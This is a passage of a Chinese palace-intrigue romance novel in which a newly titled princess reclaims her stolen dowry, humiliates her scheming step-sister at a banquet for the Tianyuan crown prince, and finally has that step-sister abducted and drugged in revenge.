围观的众人都纷纷让出一条路来,然后开始讨论着。 “这话是什么意思?” “难不成是沈家的养女拿了凰仪公主的嫁妆。” “有这个可能,毕竟就一个养女罢了,哪有那么多的嫁妆,你看这往回抬了不少东西呢。” “没想到这侯府的世子夫人居然还是一个小偷啊!” “这么大的事情,也不知道这侯府的世子是否知道?” “要我看,肯定是知道的,说不一定还是世子的主意呢,毕竟惠安公主当年的嫁妆可是十里红妆,这要是算计进了侯府,那以后可都是侯府的东西了。” “啧啧啧,看不出来,堂堂侯府,居然算计一个女人的嫁妆。” 沈安若坐在马车里面,听着外面人的议论,忍不住夸赞。 “王司记真的是让本宫刮目相看。” 王司记笑着开口。 “妾身到公主的身边来,就是专门为公主解忧的。” 玉儿在一旁开口。 “还得是王司记,这下南都的人都知道了,傅家与沈家养女联手偷盗我们公主的嫁妆。” 王司记听了笑着开口。 “我在宫里半辈子,研究的不就这点东西吗?” 沈家。 柳依依此时坐在床上。 丫鬟梨花正在给小心翼翼的给她膝盖上药。 柳依依疼得忍不住眼里有了泪花。 “嘶…………” 丫鬟急忙开口。 “夫人,我已经很轻了。” 随即叹气道。 “还要跪好几天呢,夫人,再有两日就是宫里宴会了,这么跪下去,夫人还怎么参加宴会啊。” “要是宴会夫人没有出现,这别人怕是会议论的。” 柳依依一脸的阴沉。 “沈安若这个小贱人已经很难对付了,现在又来了一个宫里的王司记,这以后………” 忽然一道声音响起。 “母亲。” 柳依依一抬头,l眼里有了一抹喜意。 “是宇儿回来了。” 沈安宇疾步上前。 “母亲这是怎么了?” “膝盖怎么受伤了?” 柳依依无奈的叹了一口气。 “唉,这说来话长,你怎么回来了?这个时候不是应该在学院里面吗?” 沈安宇走到一旁的凳子上坐下。 “有些日子没有回家了,便回来看看母亲。” “母亲,家里到底发生什么事了?” “儿子看着母亲憔悴了不少。” 柳依依听了看了看沈安宇,眼里面满是疲惫和无奈。 “唉,沈安若当上公主了,在家里耍了不少威风,说我对她不敬,罚我每日跪三个时辰呢,已经跪了几天了…………” 沈安宇听得一下子站了起来。 “什么?” “沈安若罚母亲你跪着。” “她好大的胆子。” “我去找她算账。” 柳依依急忙开口。 “宇儿,你等等。” 沈安宇停下了脚步。 “母亲,难不成我们还怕了她不成?” 柳依依又叹了一口气。 “唉,宇儿,你刚回来还没有弄清楚情况,不要盲目的冲撞,她身边现在有宫里的人,厉害着呢。” “你有些日子没有回家了,你是不知道,家里人都在她的手里吃了亏,你姐姐的院子也被抢了去。” 沈安宁听得脸色带着震惊。 “什么,她居然还抢了姐姐的院子?” “我看她当真是翅膀硬了,不过,母亲,她怎么会就成为公主了?她是沈家的女儿,她姓沈。” 柳依依缓缓开口道。 “你怎么忘了她的母亲是惠安公主?” “这些年,我与你父亲一直在设法阻止着她跟皇家的人去的近,也不知道她是怎么见到皇上的,居然被封为了公主,而且还和亲天元太子。” 沈安宇听了开口道。 “这么说来,是为了她和亲才封他为公主的。” “如果是这样的话,她怎么能在沈家耍威风?一个女子嫁了人,也要依靠娘家的不是吗?” 柳依依听了开口道。 “她连你父亲都不放在眼里了,沈家更不算什么了。” “自从她跟世子的婚事黄了以后,她就像变了一个人一样,原本我找了高僧,准备看看她是不是被什么不干净的东西上了身?可现在她当上了公主,我又不得不小心谨慎。” 沈安宇听了沉思片刻。 “我去见见她,我倒是要看看,她还是不是沈安若。” 说完就朝外走去。 柳依依想到了沈安若身边的王司记,带着几分着急的开口。 “宇儿………” 沈安宇一边朝前走,一边开口。 “母亲,你放心吧,我知道分寸。” 墨香居。 沈安若看着院子里的一堆箱子,想想空间里多了六万两银票,只感觉心里都是美滋滋的。 王司记笑着开口。 “公主,妾身让人将箱子都打开,再将里面的东西都分类一下,这里面有不少好东西,都可以登记在公主的嫁妆里面。” 沈安昕也来了。 “若儿。” 沈安若上前伸手拉沈安昕的手。 “姐姐,你来了,你看,我要回我们的嫁妆里。” 沈安昕看着这些东西,总感觉有一些眼熟。 “这莫不是前几天父亲补给沈安锦的嫁妆,你这?” 沈安若俏皮的笑了笑。 “姐姐你猜的没有错,我就是把沈安锦的嫁妆又抬回来了,侯府只凑够了六万两银子,还差四万两,只能拿沈安锦的嫁妆来抵了。” 沈安宇走进来就刚好听到了这一席话。 “沈安若,你说什么?” “你拿了我姐姐的嫁妆。” 又来一个,不例外,王司记眼神一冷,直接上前一巴掌。 “放肆,公主面前大呼小叫成何体统?” 第三十四章 跟亲爹要账 沈安宇被打得偏过头去,脸上瞬间浮现出一个鲜红的巴掌印,他瞪大了眼睛,难以置信地看着王司记。 “你……你竟敢打我!”沈安宇捂着脸,声音因愤怒而颤抖。 王司记面不改色,语气冰冷。 “这里是公主的院子,不是你可以撒野的地方。公主殿下宽容大度宅心仁厚,不代表本司记也会纵容你对公主无礼。” 这战斗力真的是嘎嘎得好啊,沈安若与沈安昕相视一眼。 沈安宇想起柳依依的话,咬着后槽牙,该死的,这个王司记果然难对付,目光看向沈安若。 “姐姐,你如今当了公主,就这么纵容下人对你的亲弟弟吗?” 沈安若听了笑了笑。 “真是不好意思了,弟弟,皇家威严重要,以后弟弟你还是要吃一堑长一智,懂得什么叫做谨言慎行,莫要再触犯了皇家的威严。” 果然如同母亲说的那般,像是变了一个人,看着沈安若脸上的笑意,沈安宇不知道为什么,明明她在笑着,可是眼里好冷。 “公主教训的是,在下记下了。” “刚刚是我冒犯了,还请公主谅解。” “只是敢问公主,为什么要拿我姐姐的嫁妆,这嫁妆就是一个女子的颜面,我的姐姐身为侯府的世子夫人,公主如此折辱,未免有些………” 看着沈安若笑意盈盈的看着自己,沈安宇只感觉失了分寸几个字实在是说不出来。 “公主,你与姐姐也是十多年的姐妹情谊,姐妹之间的小矛盾,我们就不要让别人看笑话了可好?” 沈安若闻言笑着微微摇了摇头。 “这不是姐妹之间的小矛盾呢?” “是他们忠勇侯府欠了本宫十万两银子,然后他们又拿不出来这么多银子,所以你姐姐的嫁妆只能拿来抵债了。” 沈安宇听得皱眉。 “这忠勇侯府欠的银子公主你应该找忠勇侯要才是,怎么要拿姐姐的嫁妆呢?” 沈安若闻言笑着聊了聊发丝。 “自然是因为你的好姐姐与忠勇世子情深似海,这个时候不得好好的体现体现他们夫妻有难同当吗?” 随即一脸惊讶的神情开口。 “哎呀,本宫这又想起来,好像沈尚书也欠本宫十万两银子呢!” “幸亏弟弟你来了,不然我都想不起来呢?” 随即拿出沈尚书写的欠条递给王司记。 “王司记,又要辛苦你了。” 王司记双手接过欠条,眼神中闪过一丝狡黠,恭敬地回应。 “为公主效劳,是妾身的荣幸。” “公主放心,有妾身在,十万两银子半文都不会少。” 随即朝院子里的侍卫开口。 “都跟本司记再走一趟吧。” 沈安若看着沈安宇。 “弟弟你还不走吗?” “本宫这里除了王司记,还有皇帝舅舅赐的丫鬟,也是会打人耳光的。” 沈安宇一听,最终咬着牙齿拱手。 “臣告退。” 书房里。 沈尚书正在看公务。 可是手中的公务却怎么也看不进去?想想沈安若之前乖巧的模样,如今变得嚣张跋扈,不通情理,眉头忍不住紧皱。 沈一疾步而来。 “大人,公主身边的王司记来了,还带了十多名侍卫。” 沈一山心里燃起了一股不好的预感,脸色阴沉。 “将人请到前厅。” 然后朝前厅走去。 王司记见沈一山走进来,欠了欠身。 “沈大人。” 沈一山看了看她,又看了看站在门外的侍卫。 “王司记,这里是沈家,你带这么多侍卫来不合理吧?” 王司记闻言不紧不慢的开口。 “这些侍卫都是替身禀报了皇上,特意派来保护公主的。” 沈一山听了沉默了片刻。 “不知王司记找本官所为何事?” 王司记拿出欠条。 “沈大人,天元的仪仗队伍已经到了,还请沈大人归还公主的十万两银子,毕竟公主的嫁妆得尽快的筹备起来,不然南诏都要被天元笑话的。” 她居然真的要跟自己的父亲要银子?只感觉心口一股气血翻涌。 “王司记,本官知道如今皇上对公主很是看重,可本官到底是公主的亲生父亲,总不能她当了公主以后就不认自己的父亲了,这天底下哪有当女儿的逼迫着自己的父亲给银子的道理?” 王司记听了冷声开口。 “这天底下也没有男子贪图自己妻子嫁妆的道理,沈大人,公主年幼,许多事情她还看不明白,但是本司记在宫里半辈子了,你们省府的这点弯弯绕绕,我心里清楚着呢,惠安公主的嫁妆到底是怎么丢失的?沈大人,你的心里没有一点数吗?” 沈一山闻言阴沉着脸,开口狡辩。 “惠安公主的嫁妆的确是被盗了,沈家四处都找遍了,本官最多就是看管嫁妆失职,并没有贪图惠安公主的嫁妆,公主是本官的女儿,她出嫁本官也会为她准备一份嫁妆,可要本官现在拿出来十万两银子,王司记你也知道本官俸禄,沈家的确拿不出来这么多银子。” 王司记闻言笑着开口。 “惠安公主的嫁妆是真的丢了,还是被沈大人拿去给你的养女了?” “这要是查起来并不难查,本司记有的是手段审讯沈家的丫鬟小厮,只要证明了柳姨娘动过惠安公主的嫁妆就行。” 沈一山闻言眉头紧皱,无奈的开口。 “王司记,不论怎么说,本官都是公主的亲生父亲,公主即便以后出嫁了,在婆家那边也是需要有一个娘家撑腰的,咱们何必把事情闹得这么难堪呢?” 王司记闻言一脸嘲讽。 “公主年幼在家里都不曾有父亲撑腰,谈什么以后?” “更何况,本司记不就是证明公主有皇家撑腰的最好证明吗?” 沈一山只感觉气的心口疼。 “你………” 可最终还是放软了态度。 “王司记,银子本官已再凑了,可实在是拿不出来啊,我与公主父女一场,就请王司记高抬贵手吧。” 王司记听了缓缓开口。 “说的也是,的确父女一场,所以本司记愿意给沈大人一天的时间,宴会以后,本司记要是见不到十万两银子,左右今日已经搬过忠勇侯府了,再搬一次尚书府,本司记也是做得的。” 第三十五 给本宫赏 站在门外的沈安宇见状,原本准备进去的,最终又转身离去,这个王司记连父亲的面子都不给,自己不能再跟她碰上,还得与母亲从长计议。 时间一晃来到了宴会这天。 天元乃是大国,给天元太子的接风洗尘宴自然是极尽奢华,皇宫内张灯结彩,金碧辉煌,大臣们也依官位排序坐下。 沈安若身着华贵的宫装,头戴九凤珠冠,端坐在宴会的南诏皇的右下首位置,气质高贵而冷艳,与往日的温婉截然不同。 嗯,怎么着今日也是第一次见和亲对象,总要端着一点的。 随着太监一声高呼。 “天元太子到。” 众人都急忙起身,神色上面都带着恭敬,这可是来自大国的太子殿下。 “见过天元太子。” 就连南诏皇也是一脸的笑意。 “天元太子远道而来辛苦了,快请入座。” 沈安若看着缓缓走进来的男人,瞳孔一瞬间放大,握草,是他? 他不是鸭???????? 商玄澈看着她震惊的眼神,嘴角勾起一抹淡淡的笑意。 缓缓步入太监引领的位置坐下,好死不死的就坐在了沈安若的对面。 然后挑眉看着沈安若。 四目相对。 沈安若只感觉这气氛尴尬的都能够抠出来一座院子。 察觉到她的反应,沈安昕轻轻拉了拉她的手袖。 “若儿,怎么了?” 沈安若急忙微微摇头,这让自己怎么跟长姐说?总不能说自己无意间中药,把天元的太子殿下睡了,然后自己还塞了一把银票给人家说什么后会无期。 “没事,只是有点惊讶,这天元的太子长的还蛮好看的。” 沈安昕听了偷偷的看了一眼商玄澈,然后靠近了沈安若几分。 “长的确挺不错的,这和亲好像也不亏。” 想到那一夜的的疯狂,沈安若低声开口。 “嗯,好像的确不吃亏,毕竟还是有的玩的。” 怎么感觉这话听着有点怪怪的?沈安昕意味不明的看着沈安若。 “若儿,刚刚在说什么?” 啊这,险些在长姐的面前说漏嘴了,可不能让美人姐姐知道自己的真面目。 “哦,没什么,我是觉得这天元太子长的挺好看的,应该应该…………以后的日子不会差。” 商玄澈看着她与人低语的模样,目光看向南诏皇。 “南诏皇,孤远道而来,不知和亲天元的是哪一位公主?” 看来天元太子还是很看重这一场和亲的,这不一来就关心和亲的公主是哪一位了,南诏皇一脸笑意的开口。 “是南诏最尊贵的凰仪公主。” 随即一脸慈爱的看着沈安若。 “凰仪,还不快见过太子殿下。” 唉,这封建社会该死的礼仪啊,沈安若起身盈盈一笑,福身行了一个标准的礼仪。 “凰仪见过太子殿下。” 商玄澈看着她半刻。 “凰仪公主这是害羞了吗?” “为什么不抬头看孤?” 沈安若挤出一抹笑意,缓缓抬头看着商玄澈。 “太子殿下面如冠玉,凰仪第一次见多少有点害羞。” 商玄澈闻言看着她,意有所指的开口。 “可为何孤会感觉与公主好像先前就见过。” 沈安若听了讪讪一笑。 “可能是南诏的女子长得都一样的美丽,让太子殿下你产生了错觉。” 这能这样跟太子殿下说话吗?沈安昕伸手拉了拉沈安若的衣摆。 “若儿,这是天元的太子殿下,你说话稍微注意一点。” 商玄澈看着沈安若,这和亲公主倒是有趣,不过想想她那日塞的银票,就是不知道往后你有多少银票来塞。 “凰仪公主可真是一个有趣的人。” 虽然不知道这二人为何对话有些奇怪,南诏皇还是笑着圆和气愤。 “太子殿下远道而来,今日就请太子殿下品尝一番南诏的美食,还有南诏的民族风情歌舞。” 随着南诏皇的话音落下,宴会厅内乐声悠扬,身着五彩斑斓服饰的舞者们轻盈登场,她们身姿曼妙,舞步旋转间如同彩蝶纷飞,为这场盛大的宴会增添了几分异域风情。 相对于天元的歌舞,南诏的歌舞色彩更丰富一些,歌声却更偏向平民,商玄澈端着酒杯悠闲的欣赏着。 目光时不时的落在沈安若的身上,只见她在给身边的女子夹菜,脸上洋溢着笑意。 忠勇侯府那边的位置。 沈安锦手中的手帕都快要搅碎了,凭什么?凭什么自己好不容易得来侯府的亲事,却嫁妆被盗,在婆家还要受尽委屈,要不是今日为了恭迎天元太子,自己有可能还被禁足府中。 而她沈安若去一步步扶摇直上,先是当了公主,如今还有天元太子这么一个身份尊贵又好看的夫君,随即就朝侯夫人低语了几句。 侯夫人笑着起身朝南诏皇与皇后行礼,一脸恭敬的开口。 “皇上,皇后娘娘,今日是给天元太子殿下的接风洗尘宴,臣妇觉得若是就看普通的表演提现不出来我南诏女子的多才多艺,不如让各家千金都表演一番。” 皇后听了笑着开口。 “侯夫人好提议。” 随即朝南诏皇开口。 “皇上,臣妾觉得侯夫人的提议不错,不若今日我们也看看各府千金的才艺。”南诏皇听了微微点了点头。 皇后抬手示意歌舞退下。 抬手取下头上的一支发簪。 “既然是才艺表演,那就有一定的彩头,这支发簪是本宫刚进宫的时候先皇赏的,今日若是哪家千金拔得头筹,这只簪子就是赏赐。” 沈安锦见状第一个站了起来。 “臣妇愿意第一个献上才艺,愿以一舞《孔雀舞》,为宴会助兴。” 沈安锦的声音中带着一丝急切与不甘,大概是渴望通过这次表演,重新夺回属于自己的光芒。 沈安若闻言,轻轻放下手中的筷子,目光中带着几分玩味地看向沈安锦。 这种表演一般来说都是未婚的姑娘上场,也能够既宴会展示自己的才华或者才艺,利用此获取一门好的婚事,沈安锦一个世子夫人,居然站出来表演供人赏乐。 很快沈安锦换了衣服,一身华美的孔雀舞裙,优雅地步入大殿。 舞裙以翠绿的孔雀羽毛为设计灵感,随着她的动作轻轻摇曳,仿佛一只灵动的孔雀在翩翩起舞。 手指轻轻弹动,如同孔雀在梳理自己的羽毛,她的脚步轻盈而有力,仿佛孔雀在枝头欢跃,随着音乐的节奏加快,沈安锦的舞姿也愈发激昂。 她旋转着,跳跃着,裙摆随着她的动作飞扬起来,如同一幅生动的孔雀开屏画卷。 一舞毕,沈安锦气息粗了几分。 “臣妇献丑了。” 跳的的确不错,南诏皇夸赞了两句。 “这是忠勇侯府的世子夫人吧?这舞姿的确不错。” 沈安锦得意的看了一眼沈安若。 “能够为皇上和太子殿下献舞展现南诏的民族风情是安锦的福气。” 随即目光看向沈安若。 “凰仪公主,臣妇记得臣妇还在沈家的时候,与凰仪公主也一同练舞蹈弹琴,可自从臣妇出嫁,与公主倒是没有了一起练舞弹琴的机会,不会今日可否有幸看到公主的表演。” 沈安若听了端着茶杯,忽然就笑了一下。 “世子夫人刚刚的表演很精彩,的确充分的表现了南诏的民族风情,这支孔雀舞让人看了就心生欢喜,倒是让本宫想起了我南诏百姓生活安康载歌载舞的场景,王司记,给本宫赏。” 说着拿出一锭银子递给王司记…………… 第三十六章 住上门去 王司记诧异的看了一眼沈安若,嘴角一下子勾起一抹笑意,上前双手接过沈安若手中的银子,殿下这是懂怎么样羞辱人的。 走到了沈安锦身边,站直了身子,将银子递上。 “世子夫人,这是公主殿下给你的赏赐。” 沈安锦脸上得意之色尚未褪去,便僵在了那里。本以为能借此机会让沈安若难堪,没想到沈安若非但不接招,反而以赏赐之名折辱自己,一时之间有些不知所措。 今日这银子若是自己接了,岂不是将自己比做那些献艺的歌姬,若是不接,众目睽睽之下,她又是公主。 沈安若见她局促的模样,笑着开口。 “世子夫人怎么不接赏赐?是觉得本宫给的赏赐少了吗?” 随即又拿出一锭金子。 “王司记。” 王司记再次上前接过金子,又走到了沈安锦身前。 “世子夫人,公主殿下给的打赏。” 大殿内的气氛一时变得微妙而紧张,所有人的目光都聚焦在了这位世子夫人身上。 商玄澈则看着沈安若,这种自己表演拉踩别人的戏码在天元早已经是屡见不鲜,这样回击还是第一次见,她还真是每次都能给人惊喜。 沈安锦的双手紧握成拳,指甲几乎嵌入掌心,强忍着内心的屈辱与愤怒,目光在沈安若那似笑非笑的脸色游离。 “多谢公主殿下厚爱,安锦只是略尽绵薄之力,为宴会添彩,怎敢奢望赏赐。” 沈安锦勉强挤出一丝笑容。 “臣妇的表演已经结束,就先下去换衣服了。” 沈安若冷笑一声。 “呵!世子夫人是拒绝本宫的打赏?” “寻常歌舞表演一锭银子已经是不错的了,今日本宫还给世子夫人加了一锭金子,世子夫人怎么还不满意呢?” 见沈安若紧抓着不放,沈安锦求助的看向傅承越。 却见忠勇侯与侯夫人都脸色铁青,今日过后侯府的名声怕是要一落千丈,堂堂世子夫人被比做歌姬。 商玄澈喝了一口酒,看了一眼沈安若。 “既然是赏赐不够,孤身为凰仪公主的未婚夫,便加上一份吧。” 随即朝身边的侍卫使了一个眼色。 苍术拿出一张银票上前。 “南诏世子夫人是吧?” “这是我们殿下给你的打赏。” 看着商玄澈这一操作,沈安若嘴角勾起一抹笑意,与他的目光对上。 商玄澈则端起酒杯,朝她敬了敬酒。 沈安若见状也端起酒杯回敬。 沈安锦只感觉自己此刻像是被架在了火架上烤着,退也不是,进也不是,着急的眼泪都快掉了出来,目光又求助地看向了沈家那一边。 沈一山见状朝沈安若开口道。 “公主殿下,世子夫人跳一舞已经累了,不如让她下去换衣服…………” 沈安若却笑着开口。 “沈大人这是不想给本宫面子,还是不想给天元太子面子?” 商玄澈见状开口道。 “南诏皇,原本见凰仪公主冰雪聪明,孤还以为南诏的女子都聪慧娴淑,没想到这世子夫人倒是打破了孤的见识,看着傻傻的。” 当了这么多年的皇帝,又在宫里见了那么多争宠的手段,南诏皇又怎么看不出来,这是沈安锦有意变相的想跟凰仪比试,一脸威严的看了看沈安锦。 “世子夫人,还不快多谢太子殿下的赏赐。” 沈安锦闻言,脸色白一阵红一阵,最终只能咬紧牙关,低下头,用几乎微不可闻的声音说道。 “多谢太子殿下赏赐。” 说完,她伸手接过苍术递来的银票,手指微微颤抖,心中五味杂陈。 “臣妇就先退下………” 商玄澈再次开口。 “世子夫人不接凰仪公主的赏赐吗?” 这一刻,沈安锦真的是深刻体会到了什么叫做搬起石头砸自己的脚。 又双手接过王司记手上的银子和金子。 “臣妇多谢公主殿下赏赐。” 沈安若见状,嘴角的笑意更甚。 “世子夫人快下去换衣服吧,若是还想继续表演,再换一件舞衣表演腰铃舞也不错。” 腰铃舞那可是要露着肚脐来跳的,沈安锦心里一慌。 “臣妇愚钝,不会跳腰铃舞,还请公主殿下恕罪。” “臣妇先告退了。” 说完几乎是逃一般地离开了大殿。 背影显得有些狼。 忠勇侯紧紧捏着手中的茶杯,冷冷的看了一眼傅承越。 “这就是你要娶的夫人,丢人现眼。” 经过打赏一事,大殿里的气氛有些紧张,大家都不敢上台表演。 这是为了招待天元太子的宴会,自然不能冷场,沈安若目光看向孟穗禾,笑着从袖子里拿出一张宣纸开口。 “孟小姐,本宫记得你画得一手好画,本宫即将远嫁天元,往后只怕是很难再见到我南召的山河风光,本宫这里有一张不一样的宣纸,不如请孟小姐就以此纸作画,让南诏的山河留下一抹风采,也让本宫带些念想走。” 孟穗禾闻言站起来恭敬的开口。 “能够为公主作画,是臣女的福气。” 王司记接过沈安若手中的宣纸,恭敬的递给孟穗禾。 “孟小姐,辛苦你了。” 孟穗禾接过宣纸,走到备好的画案前,轻轻展开,凝视片刻,只见她提起毛笔,蘸取清水,开始在宣纸上勾勒。 随着她的笔触,一幅幅生动的山水画卷逐渐显现,山峦叠嶂,山下水流潺潺,云雾缭绕,仿佛将南诏的壮丽山河都凝聚在了这方寸之间。 这画的是苍山尔海。 大殿内的众人皆被这神奇的作画过程吸引,屏息凝视,连商玄澈也不由得多看了几眼,对南诏的文化与艺术有了更深的认识和欣赏。 待孟穗禾最后一笔落下,沈安若抬手鼓掌。 “好好好,论才情还得是孟小姐,苍山尔海乃是我南诏有名的景点,也是本宫最喜欢的山河之一,有了孟小姐这幅画,本宫往后在异国他乡,思念家乡的时候,心里已有了一份寄托。” 南诏皇与皇后见状也满意地点头,对孟穗禾的才情大加赞赏。 “好一幅苍山尔海,孟小姐真是才情出众。” 南诏皇赞道。 南诏皇后也开口。 “孟小姐不愧是贵妃的侄女,这份才情有孟贵妃当年的模样。” 孟贵妃见状也笑着开口。 “这孩子平日里就喜欢作画吟诗,能够一幅画解一解凰仪公主以后的思乡之苦倒是也不枉自她平日里泡在书房用功了。” 沈安若取下头上的簪子,那是一支凤凰簪子。 “今日孟小姐赠送本宫一副意义非凡的苍山尔海,作为回礼,这支凤簪便留给孟小姐作一个念想,本宫好友不多,本宫希望,哪怕是山高路远,我们姐妹二人也有再见的一天。” 一个是打赏,一个是赠予,换了衣服坐在傅家那边的沈安锦气的牙齿都快咬碎了。 大殿内的气氛因沈安若这一举动而再次变得温馨而感人。 凤簪可是皇后和嫡出公主才有资格戴的,姑母在宫里多年,不管多么的受宠也不曾戴过凤簪,因为不合规矩,孟穗禾有些紧张的开口。 “公主殿下,这……这太贵重了,臣女……” 沈安若笑着开口。 “再贵重也贵不过你我的情谊。” “快收下吧,你的画本宫可收下了。” 南诏皇见状开口道。 “既然是凰仪公主赠送给孟小姐的,孟小姐就收下吧,凰仪公主重情义,你要是不收只怕是公主要难过了。” 孟穗禾闻言才恭敬的接过凤簪。 “臣女多谢皇上,多谢公主。” 宴会到此也差不多结束了,商玄澈朝南诏皇开口。 “南诏皇,孤一路走来,见南诏的风土人情与天元的确大有不同,引得孤恨不得多在南诏留一些日子,只是孤身为天元太子,能够来亲自接孤的太子妃已经是好不容易腾出来的时间,为了能够用最短的时间领略一番南诏的风土人情,不知可否让孤住沈家,也方便凰仪公主带孤四处转转。” 第三十七章 你太不安分了 住沈家?沈安若眼里闪过一抹光芒,这天元太子看来是知道自己身份的,也是,人家可是太子,只怕是早就把自己的底细都查了一个清楚。 南诏皇闻言,眼中闪过一丝惊讶,但很快被笑意取代,天元乃是大国,这太子看来对凰仪很看重,有心想培养二人之间的感情,不然也不会要求住到沈家去,只要这天元的太子心里有凰仪,往后凰仪在天元的日子也会好过。 “太子殿下乃是南诏最尊贵的客人,由南诏最尊贵的凰仪公主接待再适合不过了。” 随即沈安若一脸笑意的开口。 “凰仪,太子殿下远道而来,你身为东道主,可要招待好了,若是有什么缺的,派人直接请示朕就好。” 沈安若闻言站起身来。 “是,凰仪知道了。” 南诏皇这才看向沈一山。 “沈爱卿,你身为尚书,这些日子就辅佐凰仪公主招待好太子殿下。” 沈一山闻言急忙起身。 “是,皇上放心, 臣一定辅佐好公主招待好太子殿下。” 商玄澈微微点头,目光转向沈安若,眼神中带着几分玩味与期待。 “那就有劳公主凰仪公主。” 南诏皇看了看二人,朝商玄澈开口道。 “太子殿下,凰仪是朕皇长姐的女儿,也是朕最看重的孩子,若是他对太子殿下有什么招待不周的地方,还请太子殿下多多海涵,朕会好好教导她的。” 商玄澈闻言看了一眼沈安若。 “孤一见凰仪公主就觉得公主十分的有趣,想来公主的招待会让孤十分愉快的,孤就先与凰仪公主告辞了。” 沈安若见状朝南诏皇行了一礼,跟上了商玄澈的步伐。 众人也开始逐渐散去。 沈安锦终于有了跟傅承越说话的机会,一脸委屈的看着傅承越。 “承越哥哥,妹妹她怎么可以如此过分的对我?” 不知道为什么,以往看着沈安锦眼眶含泪的模样会觉得心疼,如今却感觉到了几分的厌烦。 “锦儿,来的时候父亲不是交代过了吗?不要再招惹她,她如今的身份已经今时不同往日了。” 沈安锦听了捏着手帕,眼泪都掉了出来。 “承越哥哥你如今也要帮着妹妹说话了吗?” “我没有想要招惹她,我只是想着同样是沈家的女儿,在外的时候应该相互帮助,我也只是想让他她表演一番,让天元太子看到她的才华,她以后毕竟要嫁去天元那么远的地方,只有讨得天元太子殿下的欢心,她才能够在天元有立足之地,妹妹不理解我的苦心就算了,现在连承越哥哥你也误会我别有用意吗?” 傅承越见有人已经将目光看向这一边,伸手拉过她的手。 “好了锦儿,我知道你心地善良,也是为了她着想,可这是她的事情,她好与不好都与我们没有关系了,而且经过了上一次的事情以后,就算你真的是好意,她也不会相信的,她的事情我们以后不听不掺和就好了。” 沈安锦闻言低头的失落的开口。 “我与妹妹终究还是生分了。” 傅承越闻言无奈的开口道。 “或许早就生分了,她已经不是以前的沈安若了,先回府吧,今日父亲明显生气了,我们回去说话注意一些。” 想到了整个宴会的过程中,忠勇侯一直都在阴沉着脸,沈安锦心里不免有了一丝紧张。 “承越哥哥,父亲会不会处罚我们?” 傅承越闻言沉思着开口。 “回去以后我们说一说好话,父亲估计也就训斥几句,再大不了就是罚禁足,过一些日子,这件事情也就过去了,你不必太忧心。” 一位宫女朝沈安锦走来。 “世子夫人,我家娘娘有请。” 这宫里能够称呼为娘娘的可都是贵人,沈安若与孟家的人还有百灵公主交好,应该不是贵妃娘娘,难不成是皇后娘娘要见自己?沈安锦心里一喜。 “是,还请这位姑姑领路。” 傅承越见状拉住了沈安锦的手。 “这位姑姑,不知是哪一位娘娘召见。” 宫女闻言开口道。 “世子放心,我们娘娘金尊玉贵不会对世子夫人如何的,不过就是今日见了世子夫人的舞蹈,想着请世子夫人喝一杯茶。” 金尊玉贵,肯定就是皇后娘娘了,沈安锦一脸笑意的朝傅承越开口。 “承越哥哥,你先回去吧,记得告诉父亲和母亲,我先去陪皇后娘娘喝茶。” 宫女闻言看了一眼沈安锦,果然,养女就是养女,还真当自己是一个东西。 “世子夫人这边请。” 傅承越见沈安锦跟着宫女离开,罢了,这里好歹是皇宫,总不可能还能在宫里出事。 宫门口。 一路走来,沈安若都在沉默着,自己该找一个什么样的借口让商玄澈自己去沈家? 商玄澈看了看她。 “怎么?凰仪公主现在不说话了吗?” “那一日,孤可记得凰仪郡主不是这样冷冷淡淡的态度的。” 沈安若听了抬头看着他 ,俏皮一笑。 “陌上人如玉,公子世无双,就太子殿下这张脸,本宫怎么会对太子殿下冷淡呢?本宫之所以一路沉默,只是在想,本宫与太子殿下这样的缘分,该给太子殿下送一份什么礼物好?” 商玄澈闻言缓缓开口。 “公主倒是与本宫以往所接触的那些所谓的公主贵女的都不一样。” 沈安若闻言笑着眨了眨眼睛。 “自然是要不一样的,若是一样了,以后还怎么站在太子殿下的身边?太子殿下你说是吧?” 她的每一句话都总是这般的直白,商玄澈忍不住开口说了一句。 “油嘴滑舌。” 沈安若闻言凑近商玄澈的身边。 “油嘴滑舌?应该不油吧?滑倒是应该有的。” 说完就退开了一步。 商玄澈神情一惊,耳朵微红。 “你…………” 一时之间被她的话雷得语塞。 落日余晖洒在二人的身上,气氛都增添了几分的暧昧。 沈安若又俏皮的笑了笑。 “本宫好像知道要给太子殿下送什么礼物了,王司记,你陪着太子殿下回沈家,本宫去给太子殿下取礼物。” 王司记听了上前朝商玄澈微微欠身,露出了一个请的姿势。 “太子殿下请。” 商玄澈闻言看着沈安若片刻。 “孤还有一些东西在驿站,今晚就先回去收拾行装,明日再来沈家叨扰公主。” 反正不跟着自己就行,沈安若笑着开口。 “那本宫明日吩咐人准备好美食等着殿下。” 商玄澈微微点了点头,随即转身带着侍卫离开。 剑梅上前恭敬的开口。 “主子,这边请。” 沈安若点了点头。 “玉儿翡儿在沈府外面的巷子等本宫。” 话落,跟着剑梅朝远处的巷子里走去,巷子里有一辆马车,沈安若一靠近,剑梅就查看四处,见四下无人,才朝沈安若点了点头。 剑兰恭敬的拱手。 “主子,人已经在马车上了。” 沈安若抬手搭在剑兰的手臂上上了马车,马车里,沈安锦被捆了起来,嘴里塞着一块布,见沈安若出现,急忙挣扎着。 “呜呜呜呜………” 沈安若抬手捏着她的下巴,一脸笑意,语气带着几分惋惜的开口。 “好好的一个人,怎么就长了一颗毒心呢?” “沈安锦,你实在是太不安分了,所以今日本宫只好请你好好的看一出戏了。” 第三十八章 以牙还牙 沈安锦心里燃起了一股不好的预感,原本自己以为是去见皇后娘娘的,可是没想到越走越偏,最后就被打晕了,再醒过来,自己已经被捆了在这马车里。 “呜呜呜…………呜呜呜…………” 看着她眼里的惊慌失措, 沈安若脸上勾起一抹笑意。 “你这么害怕做什么?” “你不是胆子很大吗?” “都敢算计在青楼那种地方回本宫的清白,这会儿你怕什么?” 马车在缓缓的走动着,沈安锦只感觉心里愈发的慌乱,看着沈安若的眼神已经变为了乞求。 沈安若拿出她嘴里的手帕,抬手拿出一颗药丸喂进了她的嘴里,下巴一合,沈安锦只感觉药丸一下子就咽了下,一脸的慌乱。 “你给我吃了什么?” 沈安若欣赏着她脸上的神情。 “自然是好东西,能够让你开心快乐的好东西。” 沈安锦闻言看着她。 “你到底想要做什么?” 沈安若依旧一脸的笑意盈盈。 “你之前与傅承越给本宫送了那样的一份大礼,所以本宫准备给你回一份礼物。” 想起来上次自己与傅承越算计她在青楼的事情,沈安锦着急的都快要哭了出来。 “救……………” 沈安若手中的匕首一下子就抵在了她的脖子处。 “这么大声做什么?等一下引起别人的注意可怎么办?” 